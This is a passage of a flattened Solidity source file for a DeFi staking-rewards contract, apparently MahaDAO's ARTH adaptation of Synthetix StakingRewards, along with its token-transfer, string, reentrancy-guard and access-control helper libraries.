IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).sub(
value,
'SafeERC20: decreased allowance below zero'
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(
data,
'SafeERC20: low-level call failed'
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
'SafeERC20: ERC20 operation did not succeed'
);
}
}
}
// File: contracts/Staking/IStakingRewards.sol
interface IStakingRewards {
function stakeLockedFor(
address who,
uint256 amount,
uint256 duration
) external;
function stakeFor(address who, uint256 amount) external;
function stakeLocked(uint256 amount, uint256 secs) external;
function withdrawLocked(bytes32 kekId) external;
function getReward() external;
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
}
// File: contracts/utils/StringHelpers.sol
library StringHelpers {
function parseAddr(string memory _a)
internal
pure
returns (address _parsedAddress)
{
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint256 i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function strCompare(string memory _a, string memory _b)
internal
pure
returns (int256 _returnCode)
{
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint256 minLength = a.length;
if (b.length < minLength) {
minLength = b.length;
}
for (uint256 i = 0; i < minLength; i++) {
if (a[i] < b[i]) {
return -1;
} else if (a[i] > b[i]) {
return 1;
}
}
if (a.length < b.length) {
return -1;
} else if (a.length > b.length) {
return 1;
} else {
return 0;
}
}
function indexOf(string memory _haystack, string memory _needle)
internal
pure
returns (int256 _returnCode)
{
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if (h.length < 1 || n.length < 1 || (n.length > h.length)) {
return -1;
} else if (h.length > (2**128 - 1)) {
return -1;
} else {
uint256 subindex = 0;
for (uint256 i = 0; i < h.length; i++) {
if (h[i] == n[0]) {
subindex = 1;
while (
subindex < n.length &&
(i + subindex) < h.length &&
h[i + subindex] == n[subindex]
) {
subindex++;
}
if (subindex == n.length) {
return int256(i);
}
}
}
return -1;
}
}
function strConcat(string memory _a, string memory _b)
internal
pure
returns (string memory _concatenatedString)
{
return strConcat(_a, _b, '', '', '');
}
function strConcat(
string memory _a,
string memory _b,
string memory _c
) internal pure returns (string memory _concatenatedString) {
return strConcat(_a, _b, _c, '', '');
}
function strConcat(
string memory _a,
string memory _b,
string memory _c,
string memory _d
) internal pure returns (string memory _concatenatedString) {
return strConcat(_a, _b, _c, _d, '');
}
function strConcat(
string memory _a,
string memory _b,
string memory _c,
string memory _d,
string memory _e
) internal pure returns (string memory _concatenatedString) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde =
new string(
_ba.length + _bb.length + _bc.length + _bd.length + _be.length
);
bytes memory babcde = bytes(abcde);
uint256 k = 0;
uint256 i = 0;
for (i = 0; i < _ba.length; i++) {
babcde[k++] = _ba[i];
}
for (i = 0; i < _bb.length; i++) {
babcde[k++] = _bb[i];
}
for (i = 0; i < _bc.length; i++) {
babcde[k++] = _bc[i];
}
for (i = 0; i < _bd.length; i++) {
babcde[k++] = _bd[i];
}
for (i = 0; i < _be.length; i++) {
babcde[k++] = _be[i];
}
return string(babcde);
}
function safeParseInt(string memory _a)
internal
pure
returns (uint256 _parsedInt)
{
return safeParseInt(_a, 0);
}
function safeParseInt(string memory _a, uint256 _b)
internal
pure
returns (uint256 _parsedInt)
{
bytes memory bresult = bytes(_a);
uint256 mint = 0;
bool decimals = false;
for (uint256 i = 0; i < bresult.length; i++) {
if (
(uint256(uint8(bresult[i])) >= 48) &&
(uint256(uint8(bresult[i])) <= 57)
) {
if (decimals) {
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint256(uint8(bresult[i])) - 48;
} else if (uint256(uint8(bresult[i])) == 46) {
require(
!decimals,
'More than one decimal encountered in string!'
);
decimals = true;
} else {
revert('Non-numeral character encountered in string!');
}
}
if (_b > 0) {
mint *= 10**_b;
}
return mint;
}
function parseInt(string memory _a)
internal
pure
returns (uint256 _parsedInt)
{
return parseInt(_a, 0);
}
function parseInt(string memory _a, uint256 _b)
internal
pure
returns (uint256 _parsedInt)
{
bytes memory bresult = bytes(_a);
uint256 mint = 0;
bool decimals = false;
for (uint256 i = 0; i < bresult.length; i++) {
if (
(uint256(uint8(bresult[i])) >= 48) &&
(uint256(uint8(bresult[i])) <= 57)
) {
if (decimals) {
if (_b == 0) {
break;
} else {
_b--;
}
}
mint *= 10;
mint += uint256(uint8(bresult[i])) - 48;
} else if (uint256(uint8(bresult[i])) == 46) {
decimals = true;
}
}
if (_b > 0) {
mint *= 10**_b;
}
return mint;
}
function uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return '0';
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
}
// File: contracts/Arth/IARTHController.sol
interface IARTHController {
function toggleCollateralRatio() external;
function refreshCollateralRatio() external;
function addPool(address pool_address) external;
function removePool(address pool_address) external;
function getARTHInfo()
external
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
);
function setMintingFee(uint256 fee) external;
function setARTHXETHOracle(
address _arthxOracleAddress,
address _wethAddress
) external;
function setARTHETHOracle(address _arthOracleAddress, address _wethAddress)
external;
function setArthStep(uint256 newStep) external;
function setRedemptionFee(uint256 fee) external;
function setOwner(address _ownerAddress) external;
function setPriceBand(uint256 _priceBand) external;
function setTimelock(address newTimelock) external;
function setPriceTarget(uint256 newPriceTarget) external;
function setARTHXAddress(address _arthxAddress) external;
function setRefreshCooldown(uint256 newCooldown) external;
function setETHGMUOracle(address _ethGMUConsumerAddress) external;
function setGlobalCollateralRatio(uint256 _globalCollateralRatio) external;
function getRefreshCooldown() external view returns (uint256);
function getARTHPrice() external view returns (uint256);
function getARTHXPrice() external view returns (uint256);
function getETHGMUPrice() external view returns (uint256);
function getGlobalCollateralRatio() external view returns (uint256);
function getGlobalCollateralValue() external view returns (uint256);
function arthPools(address pool) external view returns (bool);
}
// File: contracts/utils/ReentrancyGuard.sol
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, 'ReentrancyGuard: reentrant call');
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/Uniswap/TransferHelper.sol
/**
* @dev A helper methods for interacting with ERC20 tokens and
sending ETH that do not consistently return true/false.
*/
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper: APPROVE_FAILED'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper: TRANSFER_FAILED'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper: TRANSFER_FROM_FAILED'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// File: contracts/utils/introspection/IERC165.sol
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts/utils/introspection/ERC165.sol
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: contracts/access/AccessControl.sol
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account)
external
view
returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(
bytes32 indexed role,
address indexed account,
address indexed sender
);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(
bytes32 indexed role,
address indexed account,
address indexed sender
);
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(IAccessControl).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account)
public
view
override
returns (bool)
{
return _roles[role].members[account];
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override {
require(
hasRole(getRoleAdmin(role), _msgSender()),
'AccessControl: sender must be an admin to grant'
);
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override {
require(
hasRole(getRoleAdmin(role), _msgSender()),
'AccessControl: sender must be an admin to revoke'
);
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account)
public
virtual
override
{
require(
account == _msgSender(),
'AccessControl: can only renounce roles for self'
);
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: contracts/Staking/RewardsDistributionRecipient.sol
/// Refer: https://docs.synthetix.io/contracts/RewardsDistributionRecipient
abstract contract RewardsDistributionRecipient is Ownable {
/**
* State variables.
*/
address public rewardsDistribution;
// function notifyRewardAmount(uint256 reward) external virtual;
/**
* Modifer.
*/
modifier onlyRewardsDistribution() {
require(
msg.sender == rewardsDistribution,
'Caller is not RewardsDistribution contract'
);
_;
}
/**
* External.
*/
function setRewardsDistribution(address _rewardsDistribution)
external
onlyOwner
{
rewardsDistribution = _rewardsDistribution;
}
}
// File: contracts/Staking/StakingRewards.sol
/**
* @title StakingRewards.
* @author MahaDAO.
*
* Original code written by:
* - Travis Moore, Jason Huan, Same Kazemian, Sam Sun.
*
* Modified originally from Synthetixio
* https://raw.githubusercontent.com/Synthetixio/synthetix/develop/contracts/StakingRewards.sol
*/
contract StakingRewards is
AccessControl,
IStakingRewards,
RewardsDistributionRecipient,
ReentrancyGuard,
Pausable
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
/**
* State variables.
*/
struct LockedStake {
bytes32 kekId;
uint256 startTimestamp;
uint256 amount;
uint256 endingTimestamp;
uint256 multiplier; // 6 decimals of precision. 1x = 1000000
}
IERC20 public rewardsToken;
IERC20 public stakingToken;
IARTH private _ARTH;
IARTHController private _arthController;
// This staking pool's percentage of the total ARTHX being distributed by all pools, 6 decimals of precision
uint256 public poolWeight;
// Max reward per second
uint256 public rewardRate;
uint256 public periodFinish;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored = 0;
// uint256 public rewardsDuration = 86400 hours;
uint256 public rewardsDuration = 604800; // 7 * 86400 (7 days).
uint256 public lockedStakeMinTime = 604800; // 7 * 86400 (7 days)
string private lockedStakeMinTimeStr = '604800'; // 7 days on genesis
uint256 public lockedStakeMaxMultiplier = 3000000; // 6 decimals of precision. 1x = 1000000
uint256 public lockedStakeTimeGorMaxMultiplier = 3 * 365 * 86400; // 3 years
address public ownerAddress;
address public timelockAddress; // Governance timelock address
uint256 private _stakingTokenSupply = 0;
uint256 private _stakingTokenBoostedSupply = 0;
bool public isLockedStakes; // Release lock stakes in case of system migration
uint256 private constant _PRICE_PRECISION = 1e6;
uint256 private constant _MULTIPLIER_BASE = 1e6;
bytes32 private constant _POOL_ROLE = keccak256('_POOL_ROLE');
uint256 public crBoostMaxMultiplier = 3000000; // 6 decimals of precision. 1x = 1000000
mapping(address => bool) public greylist;
mapping(address => uint256) public rewards;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) private _lockedBalances;
mapping(address => uint256) private _boostedBalances;
mapping(address => uint256) private _unlockedBalances;
mapping(address => LockedStake[]) private _lockedStakes;
/**
* Events.
*/
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event StakeLocked(address indexed user, uint256 amount, uint256 secs);
event Withdrawn(address indexed user, uint256 amount);
event WithdrawnLocked(address indexed user, uint256 amount, bytes32 kekId);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
event RewardsPeriodRenewed(address token);
event DefaultInitialization();
event LockedStakeMaxMultiplierUpdated(uint256 multiplier);
event LockedStakeTimeForMaxMultiplier(uint256 secs);
event LockedStakeMinTime(uint256 secs);
event MaxCRBoostMultiplier(uint256 multiplier);
/**
* Modifier.
*/
modifier onlyPool {
require(hasRole(_POOL_ROLE, msg.sender), 'Staking: FORBIDDEN');
_;
}
modifier updateReward(address account) {
// Need to retro-adjust some things if the period hasn't been renewed, then start a new one
if (block.timestamp > periodFinish) {
_retroCatchUp();
} else {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
}
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
modifier onlyByOwnerOrGovernance() {
require(
msg.sender == ownerAddress || msg.sender == timelockAddress,
'You are not the owner or the governance timelock'
);
_;
}
/**
* Constructor.
*/
constructor(
address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken,
address _arthAddress,
address _timelockAddress,
uint256 _poolWeight
) {
ownerAddress = _owner;
_ARTH = IARTH(_arthAddress);
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
poolWeight = _poolWeight;
lastUpdateTime = block.timestamp;
timelockAddress = _timelockAddress;
rewardsDistribution = _rewardsDistribution;
isLockedStakes = false;
rewardRate = 380517503805175038; // (uint256(12000000e18)).div(365 * 86400); // Base emission rate of 12M ARTHX over the first year
rewardRate = rewardRate.mul(poolWeight).div(1e6);
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(_POOL_ROLE, _msgSender());
}
/**
* External.
*/
function stakeLockedFor(
address who,
uint256 amount,
uint256 duration
) external override onlyPool {
_stakeLocked(who, amount, duration);
}
function withdraw(uint256 amount)
external
override
nonReentrant
updateReward(msg.sender)
{
require(amount > 0, 'Cannot withdraw 0');
// Staking token balance and boosted balance
_unlockedBalances[msg.sender] = _unlockedBalances[msg.sender].sub(
amount
);
_boostedBalances[msg.sender] = _boostedBalances[msg.sender].sub(amount);
// Staking token supply and boosted supply
_stakingTokenSupply = _stakingTokenSupply.sub(amount);
_stakingTokenBoostedSupply = _stakingTokenBoostedSupply.sub(amount);
// Give the tokens to the withdrawer
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function renewIfApplicable() external {
if (block.timestamp > periodFinish) {
_retroCatchUp();
}
}
function withdrawLocked(bytes32 kekId)
external
override
nonReentrant
updateReward(msg.sender)
{
LockedStake memory thisStake;
thisStake.amount = 0;
uint256 theIndex;
for (uint256 i = 0; i < _lockedStakes[msg.sender].length; i++) {
if (kekId == _lockedStakes[msg.sender][i].kekId) {
thisStake = _lockedStakes[msg.sender][i];
theIndex = i;
break;
}
}
require(thisStake.kekId == kekId, 'Stake not found');
require(
block.timestamp >= thisStake.endingTimestamp ||
isLockedStakes == true,
'Stake is still locked!'
);
uint256 theAmount = thisStake.amount;
uint256 boostedAmount =
theAmount.mul(thisStake.multiplier).div(_PRICE_PRECISION);
if (theAmount > 0) {
// Staking token balance and boosted balance
_lockedBalances[msg.sender] = _lockedBalances[msg.sender].sub(
theAmount
);
_boostedBalances[msg.sender] = _boostedBalances[msg.sender].sub(
boostedAmount
);
// Staking token supply and boosted supply
_stakingTokenSupply = _stakingTokenSupply.sub(theAmount);
_stakingTokenBoostedSupply = _stakingTokenBoostedSupply.sub(
boostedAmount
);
// Remove the stake from the array
delete _lockedStakes[msg.sender][theIndex];
// Give the tokens to the withdrawer
stakingToken.safeTransfer(msg.sender, theAmount);
emit WithdrawnLocked(msg.sender, theAmount, kekId);
}
}
// Added to support recovering LP Rewards from other systems to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount)
external
onlyByOwnerOrGovernance
{
// Admin cannot withdraw the staking token from the contract
require(tokenAddress != address(stakingToken));
IERC20(tokenAddress).transfer(ownerAddress, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration)
external
onlyByOwnerOrGovernance
{
require(
periodFinish == 0 || block.timestamp > periodFinish,
'Previous rewards period must be complete before changing the duration for the new period'
);
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
function setMultipliers(
uint256 _lockedStakeMaxMultiplier,
uint256 _crBoostMaxMultiplier
) external onlyByOwnerOrGovernance {
require(
_lockedStakeMaxMultiplier >= 1,
'Multiplier must be greater than or equal to 1'
);
require(
_crBoostMaxMultiplier >= 1,
'Max CR Boost must be greater than or equal to 1'
);
lockedStakeMaxMultiplier = _lockedStakeMaxMultiplier;
crBoostMaxMultiplier = _crBoostMaxMultiplier;
emit MaxCRBoostMultiplier(crBoostMaxMultiplier);
emit LockedStakeMaxMultiplierUpdated(lockedStakeMaxMultiplier);
}
function setLockedStakeTimeForMinAndMaxMultiplier(
uint256 _lockedStakeTimeGorMaxMultiplier,
uint256 _lockedStakeMinTime
) external onlyByOwnerOrGovernance {
require(
_lockedStakeTimeGorMaxMultiplier >= 1,
'Multiplier Max Time must be greater than or equal to 1'
);
require(
_lockedStakeMinTime >= 1,
'Multiplier Min Time must be greater than or equal to 1'
);
lockedStakeTimeGorMaxMultiplier = _lockedStakeTimeGorMaxMultiplier;
lockedStakeMinTime = _lockedStakeMinTime;
lockedStakeMinTimeStr = StringHelpers.uint2str(_lockedStakeMinTime);
emit LockedStakeTimeForMaxMultiplier(lockedStakeTimeGorMaxMultiplier);
emit LockedStakeMinTime(_lockedStakeMinTime);
}
function initializeDefault() external onlyByOwnerOrGovernance {
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit DefaultInitialization();
}
function greylistAddress(address _address)
external
onlyByOwnerOrGovernance
{
greylist[_address] = !(greylist[_address]);
}
function unlockStakes() external onlyByOwnerOrGovernance {
isLockedStakes = !isLockedStakes;
}
function setRewardRate(uint256 _newRate) external onlyByOwnerOrGovernance {
rewardRate = _newRate;
}
function setOwnerAndTimelock(address _newOwner, address _newTimelock)
external
onlyByOwnerOrGovernance
{
ownerAddress = _newOwner;
timelockAddress = _newTimelock;
}
function stakeFor(address who, uint256 amount) external override onlyPool {
_stake(who, amount);
}
function stake(uint256 amount) external override {
_stake(msg.sender, amount);
}
function stakeLocked(uint256 amount, uint256 secs) external override {
_stakeLocked(msg.sender, amount, secs);
}
function totalSupply() external view override returns (uint256) {
return _stakingTokenSupply;
}
function totalBoostedSupply() external view returns (uint256) {
return _stakingTokenBoostedSupply;
}
// Total unlocked and locked liquidity tokens
function balanceOf(address account)
external
view
override
returns (uint256)
{
return (_unlockedBalances[account]).add(_lockedBalances[account]);
}
// Total unlocked liquidity tokens
function unlockedBalanceOf(address account)
external
view
returns (uint256)
{
return _unlockedBalances[account];
}
// Total 'balance' used for calculating the percent of the pool the account owns
// Takes into account the locked stake time multiplier
function boostedBalanceOf(address account) external view returns (uint256) {
return _boostedBalances[account];
}
function _lockedStakesOf(address account)
external
view
returns (LockedStake[] memory)
{
return _lockedStakes[account];
}
function stakingDecimals() external view returns (uint256) {
return stakingToken.decimals();
}
function rewardsFor(address account) external view returns (uint256) {
// You may have use earned() instead, because of the order in which the contract executes
return rewards[account];
}
function getRewardForDuration() external view override returns (uint256) {
return
rewardRate.mul(rewardsDuration).mul(crBoostMultiplier()).div(
_PRICE_PRECISION
);
}
/**
* Public
*/
function stakingMultiplier(uint256 secs) public view returns (uint256) {
uint256 multiplier =
uint256(_MULTIPLIER_BASE).add(
secs.mul(lockedStakeMaxMultiplier.sub(_MULTIPLIER_BASE)).div(
lockedStakeTimeGorMaxMultiplier
)
);
if (multiplier > lockedStakeMaxMultiplier)
multiplier = lockedStakeMaxMultiplier;
return multiplier;
}
function crBoostMultiplier() public view returns (uint256) {
uint256 multiplier =
uint256(_MULTIPLIER_BASE).add(
(
uint256(_MULTIPLIER_BASE).sub(
_arthController.getGlobalCollateralRatio()
)
)
.mul(crBoostMaxMultiplier.sub(_MULTIPLIER_BASE))
.div(_MULTIPLIER_BASE)
);
return multiplier;
}
// Total locked liquidity tokens
function lockedBalanceOf(address account) public view returns (uint256) {
return _lockedBalances[account];
}
function lastTimeRewardApplicable() public view override returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view override returns (uint256) {
if (_stakingTokenSupply == 0) {
return rewardPerTokenStored;
} else {
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(crBoostMultiplier())
.mul(1e18)
.div(_PRICE_PRECISION)
.div(_stakingTokenBoostedSupply)
);
}
}
function getReward() public override nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.transfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function earned(address account) public view override returns (uint256) {
return
_boostedBalances[account]
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
/**
* Internal.
*/
function _stake(address who, uint256 amount)
internal
nonReentrant
notPaused
updateReward(who)
{
require(amount > 0, 'Cannot stake 0');
require(greylist[who] == false, 'address has been greylisted');
// Pull the tokens from the staker
TransferHelper.safeTransferFrom(
address(stakingToken),
msg.sender,
address(this),
amount
);
// Staking token supply and boosted supply
_stakingTokenSupply = _stakingTokenSupply.add(amount);
_stakingTokenBoostedSupply = _stakingTokenBoostedSupply.add(amount);
// Staking token balance and boosted balance
_unlockedBalances[who] = _unlockedBalances[who].add(amount);
